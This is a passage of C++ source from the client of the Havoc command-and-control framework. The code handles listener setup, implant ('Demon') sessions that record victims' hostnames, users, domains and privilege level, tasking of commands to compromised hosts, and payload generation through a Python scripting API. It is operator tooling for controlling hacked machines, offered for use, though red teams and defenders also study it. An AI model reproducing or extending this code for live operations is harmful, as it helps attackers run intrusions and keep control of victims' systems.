"Protocol" ], .Status = Package->Body.Info[ "Status" ], }; if ( ListenerInfo.Protocol == Listener::PayloadHTTP.toStdString() ) { auto Headers = QStringList(); for ( auto& header : QString( Package->Body.Info[ "Headers" ].c_str() ).split( ", " ) ) Headers << header; auto Uris = QStringList(); for ( auto& uri : QString( Package->Body.Info[ "Uris" ].c_str() ).split( ", " ) ) Uris << uri; auto Hosts = QStringList(); for ( auto& host : QString( Package->Body.Info[ "Hosts" ].c_str() ).split( ", " ) ) Hosts << host; ListenerInfo.Info = Listener::HTTP { .Hosts = Hosts, .HostBind = Package->Body.Info[ "HostBind" ].c_str(), .HostRotation = Package->Body.Info[ "HostRotation" ].c_str(), .PortBind = Package->Body.Info[ "PortBind" ].c_str(), .PortConn = Package->Body.Info[ "PortConn" ].c_str(), .UserAgent = Package->Body.Info[ "UserAgent" ].c_str(), .Headers = Headers, .Uris = Uris, .HostHeader = Package->Body.Info[ "HostHeader" ].c_str(), .Secure = Package->Body.Info[ "Secure" ].c_str(), .ProxyEnabled = Package->Body.Info[ "Proxy Enabled" ].c_str(), .ProxyType = Package->Body.Info[ "Proxy Type" ].c_str(), .ProxyHost = Package->Body.Info[ "Proxy Host" ].c_str(), .ProxyPort = Package->Body.Info[ "Proxy Port" ].c_str(), .ProxyUsername = Package->Body.Info[ "Proxy Username" ].c_str(), .ProxyPassword = Package->Body.Info[ "Proxy Password" ].c_str(), }; if ( Package->Body.Info[ "Secure" ] == "true" ) { ListenerInfo.Protocol = Listener::PayloadHTTPS.toStdString(); } } else if ( ListenerInfo.Protocol == Listener::PayloadSMB.toStdString() ) { ListenerInfo.Info = Listener::SMB { .PipeName = Package->Body.Info[ "PipeName" ].c_str(), }; } else if ( ListenerInfo.Protocol == Listener::PayloadExternal.toStdString() ) { ListenerInfo.Info = Listener::External { .Endpoint = Package->Body.Info[ "Endpoint" ].c_str(), }; } HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerEdit( ListenerInfo ); break; } case Util::Packager::Listener::Mark: { break; } case Util::Packager::Listener::Error: { auto Error = Package->Body.Info[ "Error" ]; auto Name = Package->Body.Info[ "Name" ]; if ( Package->Head.User.compare( HavocX::Teamserver.User.toStdString() ) == 0 ) { if ( ! Name.empty() ) { if ( ! Error.empty() ) { MessageBox( "Listener Error", QString( Error.c_str() ), QMessageBox::Critical ); HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerError( QString( Name.c_str() ), QString( Error.c_str() ) ); auto MsgStr = "[" + Util::ColorText::Red( "-" ) + "]" + " Failed to start " + Util::ColorText::Green( "\"" + QString( Name.c_str() ) + "\"" ) + " listener: " + Util::ColorText::Red( Error.c_str() ); auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, MsgStr ); } } } else if ( Package->Head.User.empty() ) { if ( ! Name.empty() ) { if ( ! Error.empty() ) { HavocX::Teamserver.TabSession->ListenerTableWidget->ListenerError( QString( Name.c_str() ), QString( Error.c_str() ) ); auto MsgStr = "[" + Util::ColorText::Red( "-" ) + "]" + " Failed to start " + Util::ColorText::Green( "\"" + QString( Name.c_str() ) + "\"" ) + " listener: " + Util::ColorText::Red( Error.c_str() ); auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, MsgStr ); } } } break; } } return true; } bool Packager::DispatchChat( Util::Packager::PPackage Package) { switch (Package->Body.SubEvent) { case Util::Packager::Chat::NewMessage: { auto TeamserverUser = HavocX::Teamserver.User; for ( const auto& e : Package->Body.Info.toStdMap() ) { auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->TeamserverChat->AddUserMessage( Time, string( e.first ).c_str(), QByteArray::fromBase64( string( e.second ).c_str() ) ); } break; } case Util::Packager::Chat::NewListener: { break; } case Util::Packager::Chat::NewSession: { break; } case Util::Packager::Chat::NewUser: { auto user = QString( Package->Body.Info.toStdMap()[ "User" ].c_str() ); auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, "[" + Util::ColorText::Green( "+" ) + "] " + Util::ColorText::Green( user + " connected to teamserver" ) ); break; } case Util::Packager::Chat::UserDisconnect: { auto user = QString( Package->Body.Info.toStdMap()[ "User" ].c_str() ); auto Time = QString( Package->Head.Time.c_str() ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, "[" + Util::ColorText::Red( "-" ) + "] " + Util::ColorText::Red( user + " disconnected from teamserver" ) ); break; } } return true; } bool Packager::DispatchGate( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Gate::Staged: { break; } case Util::Packager::Gate::Stageless: { if ( Package->Body.Info[ "PayloadArray" ].size() > 0 ) { auto PayloadArray = QString( Package->Body.Info[ "PayloadArray" ].c_str() ).toLocal8Bit(); auto FileName = QString( Package->Body.Info[ "FileName" ].c_str() ); if (HavocX::GateGUI) { HavocX::Teamserver.TabSession->PayloadDialog->ReceivedImplantAndSave( FileName, QByteArray::fromBase64( PayloadArray ) ); HavocX::GateGUI = false; } else { if ( HavocX::callbackGate ) { PyObject* pyByteArray= PyUnicode_DecodeFSDefault(Package->Body.Info[ "PayloadArray" ].c_str()); PyObject_CallFunctionObjArgs(HavocX::callbackGate, pyByteArray, nullptr); } else { break; // quit if there is no callback } } } else if ( Package->Body.Info[ "MessageType" ].size() > 0 && HavocX::GateGUI) { auto MessageType = QString( Package->Body.Info[ "MessageType" ].c_str() ); auto Message = QString( Package->Body.Info[ "Message" ].c_str() ); HavocX::Teamserver.TabSession->PayloadDialog->addConsoleLog( MessageType, Message ); } break; } } return true; } bool Packager::DispatchSession( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Session::NewSession: { auto TeamserverTab = HavocX::Teamserver.TabSession; auto MagicValue = uint64_t( 0 ); auto StringStream = std::stringstream(); StringStream << std::hex << Package->Body.Info[ "MagicValue" ].c_str(); StringStream >> MagicValue; auto Agent = Util::SessionItem { .Name = Package->Body.Info[ "NameID" ].c_str(), .MagicValue = MagicValue, .External = Package->Body.Info[ "ExternalIP" ].c_str(), .Internal = Package->Body.Info[ "InternalIP" ].c_str(), .Listener = Package->Body.Info[ "Listener" ].c_str(), .User = Package->Body.Info[ "Username" ].c_str(), .Computer = Package->Body.Info[ "Hostname" ].c_str(), .Domain = Package->Body.Info[ "DomainName" ].c_str(), .OS = Package->Body.Info[ "OSVersion" ].c_str(), .OSBuild = Package->Body.Info[ "OSBuild" ].c_str(), .OSArch = Package->Body.Info[ "OSArch" ].c_str(), .Process = Package->Body.Info[ "ProcessName" ].c_str(), .PID = Package->Body.Info[ "ProcessPID" ].c_str(), .Arch = Package->Body.Info[ "ProcessArch" ].c_str(), .First = Package->Body.Info[ "FirstCallIn" ].c_str(), .Last = Package->Body.Info[ "LastCallIn" ].c_str(), .Elevated = Package->Body.Info[ "Elevated" ].c_str(), .PivotParent = Package->Body.Info[ "PivotParent" ].c_str(), .Marked = Package->Body.Info[ "Active" ].c_str(), .SleepDelay = (uint32_t)strtoul(Package->Body.Info[ "SleepDelay" ].c_str(), NULL, 0), .SleepJitter = (uint32_t)strtoul(Package->Body.Info[ "SleepJitter" ].c_str(), NULL, 0), .KillDate = (uint64_t)strtoull(Package->Body.Info[ "KillDate" ].c_str(), NULL, 0), .WorkingHours = (uint32_t)strtoul(Package->Body.Info[ "WorkingHours" ].c_str(), NULL, 0), }; Agent.LastUTC = QDateTime::fromString(Agent.Last, "dd-MM-yyyy HH:mm:ss"); if ( Agent.Marked == "true" ) { Agent.Marked = "Alive"; Agent.Health = "healthy"; } else if ( Agent.Marked == "false" ) { Agent.Marked = "Dead"; Agent.Health = "dead"; } for ( auto& session : HavocX::Teamserver.Sessions ) if ( session.Name.compare( Agent.Name ) == 0 ) return false; TeamserverTab->SessionTableWidget->NewSessionItem( Agent ); TeamserverTab->LootWidget->AddSessionSection( Agent.Name ); auto Time = QString( Package->Head.Time.c_str() ); auto Message = "[" + Util::ColorText::Cyan( "*" ) + "]" + " Initialized " + Util::ColorText::Cyan( Agent.Name ) + " :: " + Util::ColorText::Yellow( Agent.User + "@" + Agent.Internal ) + Util::ColorText::Cyan( " (" ) + Util::ColorText::Red( Agent.Computer ) + Util::ColorText::Cyan( ")" ); HavocX::Teamserver.TabSession->SmallAppWidgets->EventViewer->AppendText( Time, Message ); if ( Agent.Marked.compare( "Alive" ) == 0 ) { for ( auto& Callback : HavocX::Teamserver.RegisteredCallbacks ) { if ( PyCallable_Check( Callback ) ) { PyObject* arglist = Py_BuildValue( "s", Agent.Name.toStdString().c_str() ); PyObject* Return = PyObject_CallFunctionObjArgs( Callback, arglist, NULL ); if ( Return == NULL && PyErr_Occurred() ) { spdlog::error( "Error calling callback" ); PyErr_PrintEx(0); PyErr_Clear(); } } else { spdlog::error( "Callback is not callable" ); } } } break; } case Util::Packager::Session::SendCommand: { for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( Package->Body.Info[ "DemonID" ].c_str() ) == 0 ) { auto AgentType = QString( Package->Body.Info[ "AgentType" ].c_str() ); if ( ! Package->Body.Info[ "CommandLine" ].empty() ) { auto TaskID = QString( Package->Body.Info[ "TaskID" ].c_str() ); if ( AgentType.isEmpty() ) AgentType = "Demon"; Session.InteractedWidget->DemonCommands->Prompt = QString ( Util::ColorText::Comment( QString( Package->Head.Time.c_str() ) + " [" + QString( Package->Head.User.c_str() ) + "]" ) + " " + Util::ColorText::UnderlinePink( AgentType ) + Util::ColorText::Cyan(" » ") + QString( Package->Body.Info[ "CommandLine" ].c_str() ) ); if ( ! Package->Body.Info[ "TaskMessage" ].empty() ) { Session.InteractedWidget->DemonCommands->CommandTaskInfo[ TaskID ] = Package->Body.Info[ "TaskMessage" ].c_str(); } else { Session.InteractedWidget->AppendRaw(); Session.InteractedWidget->AppendRaw( Session.InteractedWidget->DemonCommands->Prompt ); } Session.InteractedWidget->lineEdit->AddCommand( QString( Package->Body.Info[ "CommandLine" ].c_str() ) ); Session.InteractedWidget->DemonCommands->DispatchCommand( false, TaskID, Package->Body.Info[ "CommandLine" ].c_str() ); } } } break; } case Util::Packager::Session::ReceiveCommand: { for ( auto & Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( Package->Body.Info[ "DemonID" ].c_str() ) == 0 ) { Session.InteractedWidget->DemonCommands->OutputDispatch.DemonCommandInstance = Session.InteractedWidget->DemonCommands; int CommandID = QString( Package->Body.Info[ "CommandID" ].c_str() ).toInt(); auto Output = QString( Package->Body.Info[ "Output" ].c_str() ); switch ( CommandID ) { case ( int ) Commands::CONSOLE_MESSAGE: if ( QByteArray::fromBase64( Output.toLocal8Bit() ).length() > 5 ) { Session.InteractedWidget->DemonCommands->OutputDispatch.MessageOutput( Output, QString( Package->Head.Time.c_str() ) ); Session.InteractedWidget->Console->verticalScrollBar()->setValue( Session.InteractedWidget->Console->verticalScrollBar()->maximum() ); } break; case ( int ) Commands::BOF_CALLBACK: if ( QByteArray::fromBase64( Output.toLocal8Bit() ).length() > 5 ) { auto JsonDocument = QJsonDocument::fromJson( QByteArray::fromBase64( Output.toLocal8Bit( ) ) ); auto Worked = JsonDocument[ "Worked" ].toString(); auto Output = JsonDocument[ "Output" ].toString(); auto Error = JsonDocument[ "Error" ].toString(); auto TaskID = JsonDocument[ "TaskID" ].toString(); PyObject* Callback = nullptr; auto it = Session.TaskIDToPythonCallbacks.find( TaskID ); if ( it != Session.TaskIDToPythonCallbacks.end() ) { Callback = it->second; if ( PyCallable_Check( Callback ) ) { PyObject *arglist = Py_BuildValue( "ssOss", Session.Name.toStdString().c_str(), TaskID.toStdString().c_str(), Worked == "true" ? Py_True : Py_False, Output.toStdString().c_str(), Error.toStdString().c_str() ); PyObject_CallObject( Callback, arglist ); Py_XDECREF( Callback ); } else { spdlog::error( "Callback is not callable" ); } Session.TaskIDToPythonCallbacks.erase( TaskID ); // print messages from the python the module Session.InteractedWidget->DemonCommands->PrintModuleCachedMessages(); } else { auto taskId = TaskID.toStdString(); spdlog::error( "[PACKAGE] TaskID not found: {}", taskId ); } } break; case ( int ) Commands::CALLBACK: { // update the "Last" field on this session auto LastTime = QString( QByteArray::fromBase64( Output.toLocal8Bit() ) ); auto LastTimeJson = QJsonDocument::fromJson( LastTime.toLocal8Bit() ); Session.Last = LastTimeJson["Last"].toString(); Session.LastUTC = QDateTime::fromString(Session.Last, "dd-MM-yyyy HH:mm:ss"); Session.SleepDelay = (uint32_t)strtoul(LastTimeJson["Sleep"].toString().toStdString().c_str(), NULL, 0); Session.SleepJitter = (uint32_t)strtoul(LastTimeJson["Jitter"].toString().toStdString().c_str(), NULL, 0); Session.KillDate = (uint64_t)strtoull(LastTimeJson["KillDate"].toString().toStdString().c_str(), NULL, 0); Session.WorkingHours = (uint32_t)strtoul(LastTimeJson["WorkingHours"].toString().toStdString().c_str(), NULL, 0); break; } default: spdlog::error( "[PACKAGE] Command not found" ); break; } break; } } break; } case Util::Packager::Session::Remove: { break; } case Util::Packager::Session::MarkAs: { auto AgentID = Package->Body.Info[ "AgentID" ]; auto Marked = Package->Body.Info[ "Marked" ]; for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Name.toStdString() == AgentID ) { session.Marked = Marked.c_str(); break; } } for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto Row = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( Row.compare( QString( AgentID.c_str() ) ) == 0 ) { if ( Marked.compare( "Alive" ) == 0 ) { for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Name.toStdString() == AgentID ) { auto Icon = ( session.Elevated.compare( "true" ) == 0 ) ? WinVersionIcon( session.OS, true ) : WinVersionIcon( session.OS, false ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon ); break; } } for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) ); } } else if ( Marked.compare( "Dead" ) == 0 ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( ":/icons/DeadWhite" ) ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) ); } } break; } } break; } } return true; } bool Packager::DispatchService( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Service::AgentRegister: { auto JsonObject = QJsonDocument::fromJson( Package->Body.Info[ "Agent" ].c_str() ).object(); auto OSArray = QStringList(); auto Arch = QStringList(); auto Formats = std::vector(); auto Commands = std::vector(); auto MagicValue = uint64_t( 0 ); auto StringStream = std::stringstream(); auto AgentName = std::string(); for ( const auto& item : JsonObject[ "Arch" ].toArray() ) Arch << item.toString(); for ( const auto& item : JsonObject[ "Formats" ].toArray() ) { Formats.push_back( AgentFormat { .Name = item.toObject()[ "Name" ].toString(), .Extension = item.toObject()[ "Extension" ].toString(), } ); } for ( const auto& item : JsonObject[ "SupportedOS" ].toArray() ) OSArray << item.toString(); for ( const auto& command : JsonObject[ "Commands" ].toArray() ) { auto Mitr = QStringList(); auto Params = std::vector(); for ( const auto& param : command.toObject()[ "Params" ].toArray() ) { Params.push_back( CommandParam { .Name = param.toObject()[ "Name" ].toString(), .IsFilePath = param.toObject()[ "IsFilePath" ].toBool(), .IsOptional = param.toObject()[ "IsOptional" ].toBool(), } ); } for ( const auto& i : command.toObject()[ "Mitr" ].toArray() ) Mitr << i.toString(); Commands.push_back( AgentCommands{ .Name = command.toObject()[ "Name" ].toString(), .Description = command.toObject()[ "Description" ].toString(), .Help = command.toObject()[ "Help" ].toString(), .NeedAdmin = command.toObject()[ "NeedAdmin" ].toBool(), .Mitr = Mitr, .Params = Params, .Anonymous = command.toObject()[ "Anonymous" ].toBool(), } ); } StringStream << std::hex << JsonObject[ "MagicValue" ].toString().toStdString(); StringStream >> MagicValue; HavocX::Teamserver.ServiceAgents.push_back( ServiceAgent{ .Name = JsonObject[ "Name" ].toString(), .Description = JsonObject[ "Description" ].toString(), .Version = JsonObject[ "Version" ].toString(), .MagicValue = MagicValue, .Arch = Arch, .Formats = Formats, .SupportedOS = OSArray, .Commands = Commands, .BuildingConfig = QJsonDocument( JsonObject[ "BuildingConfig" ].toObject() ), } ); AgentName = JsonObject[ "Name" ].toString().toStdString(); spdlog::info( "Added service agent to client: {}", AgentName ); return true; } case Util::Packager::Service::ListenerRegister: { auto listener = json::parse( Package->Body.Info[ "Listener" ].c_str() ); auto name = listener[ "Name" ].get(); HavocX::Teamserver.RegisteredListeners.push_back( listener ); spdlog::info( "Added service listener to client: {}", name ); return true; } default: break; } return false; } bool Packager::DispatchTeamserver( Util::Packager::PPackage Package ) { switch ( Package->Body.SubEvent ) { case Util::Packager::Teamserver::Logger: { auto Text = QString( Package->Body.Info[ "Text" ].c_str() ); if ( HavocX::Teamserver.TabSession->Teamserver == nullptr ) { HavocX::Teamserver.TabSession->Teamserver = new Teamserver; HavocX::Teamserver.TabSession->Teamserver->setupUi( new QDialog ); } HavocX::Teamserver.TabSession->Teamserver->AddLoggerText( Text ); } case Util::Packager::Teamserver::Profile: { } } return true; } void Packager::setTeamserver( QString Name ) { this->TeamserverName = Name; } ================================================ FILE: client/src/Havoc/PythonApi/Event.cc ================================================ #include #include #include // TODO: finish this. PyMemberDef PyEventClass_members[] = { // { "SessionFuncList", T_OBJECT, offsetof( PyEvents, SessionFuncList ), 0, "Session function list" }, { NULL }, }; PyMethodDef PyEventClass_methods[] = { { "OnNewSession", ( PyCFunction ) EventClass_OnNewSession, METH_VARARGS | METH_STATIC, "Event on new session" }, { NULL }, }; PyTypeObject PyEventClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havoc.Event", /* tp_name */ sizeof( PyEvents ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) EventClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Havoc Event Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyEventClass_methods, /* tp_methods */ PyEventClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) EventClass_init, /* tp_init */ 0, /* tp_alloc */ EventClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void EventClass_dealloc( PPyEvents self ) { if (self) { Py_TYPE( self )->tp_free( ( PyObject* ) self ); } } PyObject* EventClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyEvents self = nullptr; self = ( PPyEvents ) PyType_Type.tp_alloc( type, 0 ); return ( PyObject* ) self; } int EventClass_init( PPyEvents self, PyObject *args, PyObject *kwds ) { if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 ) return -1; return 0; } // Methods PyObject* EventClass_OnNewSession( PPyEvents self, PyObject *args ) { PyObject* Function = NULL; if ( ! PyArg_ParseTuple( args, "O", &Function ) ) return NULL; if ( ! PyCallable_Check( Function ) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } HavocX::Teamserver.RegisteredCallbacks.push_back(Function); Py_RETURN_NONE; } PyObject* EventClass_OnDemonOutput( PPyEvents self, PyObject *args ) { Py_RETURN_NONE; } ================================================ FILE: client/src/Havoc/PythonApi/Havoc.cc ================================================ #include #include #include #include #include #include #include #include #include #include using namespace HavocNamespace::Util; namespace PythonAPI::Havoc { PyMethodDef PyMethode_Havoc[] = { { "LoadScript", PythonAPI::Havoc::Core::Load, METH_VARARGS, "load python script" }, { "GetDemons", PythonAPI::Havoc::Core::GetDemons, METH_VARARGS, "get list of demon ID's" }, { "GetListeners", PythonAPI::Havoc::Core::GetListeners, METH_VARARGS, "get list of Listeners" }, { "GetAgents", PythonAPI::Havoc::Core::GetAgents, METH_VARARGS, "get list of Agents" }, { "GeneratePayload", ( PyCFunction ) PythonAPI::Havoc::Core::GeneratePayload, METH_VARARGS | METH_KEYWORDS, "Generate a payload and get the base64 bytestring" }, { "RegisterCommand", ( PyCFunction ) PythonAPI::Havoc::Core::RegisterCommand, METH_VARARGS | METH_KEYWORDS, "register a command/alias" }, { "RegisterModule", PythonAPI::Havoc::Core::RegisterModule, METH_VARARGS, "register a module" }, { "RegisterCallback", PythonAPI::Havoc::Core::RegisterCallback, METH_VARARGS, "register a callback" }, { NULL, NULL, 0, NULL } }; namespace PyModule { struct PyModuleDef havoc = { PyModuleDef_HEAD_INIT, "havoc", "Python module to interact with Havoc", -1, PyMethode_Havoc }; } } PyMODINIT_FUNC PythonAPI::Havoc::PyInit_Havoc( void ) { PyObject* Module = PyModule_Create2( &PythonAPI::Havoc::PyModule::havoc, PYTHON_API_VERSION ); if ( PyType_Ready( &PyDemonClass_Type ) < 0 ) spdlog::error( "Couldn't check if DemonClass is ready" ); else PyModule_AddObject( Module, "Demon", (PyObject*) &PyDemonClass_Type ); if ( PyType_Ready( &PyAgentClass_Type ) < 0 ) spdlog::error( "Couldn't check if AgentClass is ready" ); else PyModule_AddObject( Module, "Agent", (PyObject*) &PyAgentClass_Type ); if ( PyType_Ready( &PyEventClass_Type ) < 0 ) spdlog::error( "Couldn't check if Event class is ready" ); else PyModule_AddObject( Module, "Event", (PyObject*) &PyEventClass_Type ); return Module; } PyObject* PythonAPI::Havoc::Core::Load( PyObject *self, PyObject *args ) { char* FilePath = NULL; int Return = 0; if ( ! PyArg_ParseTuple( args, "s", &FilePath ) ) Py_RETURN_NONE; auto script = FileRead( FilePath ); spdlog::info( "Load Script: {}", FilePath ); Return = PyRun_SimpleStringFlags( script.toStdString().c_str(), NULL ); if ( Return == -1 ) { spdlog::error( "Failed to load script" ); Py_RETURN_FALSE; } Py_RETURN_TRUE; } PyObject* PythonAPI::Havoc::Core::GetListeners( PyObject *self, PyObject *args ) { auto Listeners = HavocX::Teamserver.Listeners; uint32_t NumberOfSessions = Listeners.size(); PyObject* ListenerObjects = PyList_New( NumberOfSessions ); PyObject* ListenerID = NULL; for ( int i = 0; i < NumberOfSessions; ++i ) { ListenerID = Py_BuildValue( "s", Listeners[ i ].Name.c_str() ); PyList_SetItem( ListenerObjects, i, ListenerID ); } return ListenerObjects; } PyObject* PythonAPI::Havoc::Core::GetAgents( PyObject *self, PyObject *args ) { auto Agents = HavocX::Teamserver.ServiceAgents; uint32_t NumberOfSessions = Agents.size(); PyObject* AgentsObjects = PyList_New( NumberOfSessions + 1); PyObject* AgentsID = NULL; AgentsID = Py_BuildValue( "s", "Demon" ); PyList_SetItem( AgentsObjects, 0, AgentsID ); for ( int i = 1; i < NumberOfSessions; ++i ) { AgentsID = Py_BuildValue( "s", Agents[ i ].Name.toStdString().c_str() ); PyList_SetItem( AgentsObjects, i, AgentsID ); } return AgentsObjects; } PyObject* PythonAPI::Havoc::Core::GetDemons( PyObject *self, PyObject *args ) { auto DemonSessions = HavocX::Teamserver.Sessions; uint32_t NumberOfSessions = DemonSessions.size(); PyObject* DemonObjects = PyList_New( NumberOfSessions ); PyObject* DemonID = NULL; for ( int i = 0; i < NumberOfSessions; ++i ) { DemonID = Py_BuildValue( "s", DemonSessions[ i ].Name.toStdString().c_str() ); PyList_SetItem( DemonObjects, i, DemonID ); } return DemonObjects; } PyObject* PythonAPI::Havoc::Core::GeneratePayload( PyObject *self, PyObject *args, PyObject* kwargs ) { PyObject* callbackGate = nullptr; char* agent = nullptr; char* listener = nullptr; char* arch = nullptr; char* format_string = nullptr; char* config = nullptr; const char* KeyWords[] = { "callback", "agent", "listener", "arch", "format", "config", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwargs, "Osssss", const_cast(KeyWords), &callbackGate, &agent, &listener, &arch, &format_string, &config) ) Py_RETURN_NONE; if ( !PyCallable_Check(callbackGate) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } HavocX::callbackGate = callbackGate; auto Package = new Util::Packager::Package; auto Head = Util::Packager::Head_t { .Event = Util::Packager::Gate::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), .OneTime = "true", }; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Gate::Stageless, .Info = { { "AgentType", std::string(agent) }, { "Listener", std::string(listener) }, { "Arch", std::string(arch) }, { "Format", std::string(format_string) }, { "Config", std::string(config) }, }, }; Package->Head = Head; Package->Body = Body; HavocX::Connector->SendPackage( Package ); Py_RETURN_NONE; } // RegisterCommand( PyFunction: func, Module: str, Command: str, Description: str, Behavior: int, Usage: str, Example: str ) PyObject* PythonAPI::Havoc::Core::RegisterCommand( PyObject *self, PyObject *args, PyObject* kwargs ) { RegisteredCommand RCommand = { }; PVOID Function = nullptr; PCHAR Agent = nullptr; PCHAR Module = nullptr; PCHAR Command = nullptr; PCHAR Description = nullptr; PCHAR Usage = nullptr; PCHAR Example = nullptr; u32 Behavior = 0; auto CompleteText = QString(); auto Path = HavocX::Teamserver.LoadingScript; const char* KeyWords[] = { "function", "module", "command", "description", "behavior", "usage", "example", "agent", NULL }; const char* format = "Osssiss|s"; if ( ! PyArg_ParseTupleAndKeywords( args, kwargs, format, const_cast(KeyWords), &Function, &Module, &Command, &Description, &Behavior, &Usage, &Example, &Agent ) ) Py_RETURN_NONE; if ( Agent != nullptr ) RCommand.Agent = Agent; else RCommand.Agent = "Demon"; /* if the 'agent' keyword hasn't been specified then use the demon agent by default */ RCommand.Function = Function; RCommand.Module = Module; RCommand.Command = Command; RCommand.Help = Description; RCommand.Behaviour = Behavior; RCommand.Usage = Usage; RCommand.Example = Example; RCommand.Path = Path.substr( 0, Path.find_last_of( "\\/" ) ); if ( QString( RCommand.Module.c_str() ).length() > 0 ) { spdlog::debug( "Registered command: {} {}", Module, Command ); } else { spdlog::debug( "Registered command: {}", Command ); } // Check if command already exists... if it is already existing then replace it with new one. for ( u32 i = 0; i < HavocX::Teamserver.RegisteredCommands.size(); i++ ) { auto c = HavocX::Teamserver.RegisteredCommands[ i ]; if ( ( c.Command == RCommand.Command ) && ( c.Module == RCommand.Module ) && ( c.Agent == RCommand.Agent ) ) { spdlog::debug( "Command already exists: [Module: {}] [Command: {}]", RCommand.Module, RCommand.Command ); HavocX::Teamserver.RegisteredCommands[ i ] = RCommand; Py_RETURN_NONE; } } if ( ! RCommand.Module.empty() ) CompleteText = QString( RCommand.Module.c_str() ) + " " + QString( RCommand.Command.c_str() ); else CompleteText = QString( RCommand.Command.c_str() ); // TODO: further test this. Reload or load new scripts that make use of RegisterCommand auto Sessions = HavocX::Teamserver.Sessions; for ( u32 i = 0; i < Sessions.size(); i++ ) { Sessions[ i ].InteractedWidget->AutoCompleteAdd( CompleteText ); Sessions[ i ].InteractedWidget->AutoCompleteAdd( "help " + CompleteText ); } HavocX::Teamserver.AddedCommands << CompleteText; // Add new command HavocX::Teamserver.RegisteredCommands.push_back( RCommand ); Py_XINCREF( RCommand.Function ); Py_RETURN_NONE; } // RegisterModule( Name: str, Description: str, Behavior: str, Usage: str, Example: str, Options: str ) PyObject* PythonAPI::Havoc::Core::RegisterModule( PyObject *self, PyObject *args ) { spdlog::debug( "PythonAPI::Havoc::Core::RegisterModule" ); RegisteredModule Module = {}; PCHAR Name = nullptr; PCHAR Description = nullptr; PCHAR Behavior = nullptr; PCHAR Usage = nullptr; PCHAR Example = nullptr; PCHAR Options = nullptr; auto CompleteText = QString(); if( ! PyArg_ParseTuple( args, "ssssss", &Name, &Description, &Behavior, &Usage, &Example, &Options ) ) Py_RETURN_NONE; Module.Name = Name; Module.Description = Description; Module.Behavior = Behavior; Module.Usage = Usage; Module.Example = Example; // Check if module already exists... if it is already existing then replace it with new one. for ( u32 i = 0; i < HavocX::Teamserver.RegisteredModules.size(); i++ ) { auto c = HavocX::Teamserver.RegisteredModules[ i ]; if ( ( c.Name == Module.Name ) && ( c.Agent == Module.Agent ) ) { spdlog::debug( "Module already exists: [Module: {}]", Module.Name ); HavocX::Teamserver.RegisteredModules[ i ] = Module; Py_RETURN_NONE; } } CompleteText = QString( Module.Name.c_str() ); // TODO: further test this. Reload or load new scripts that make use of RegisterCommand auto Sessions = HavocX::Teamserver.Sessions; for ( u32 i = 0; i < Sessions.size(); i++ ) { Sessions[ i 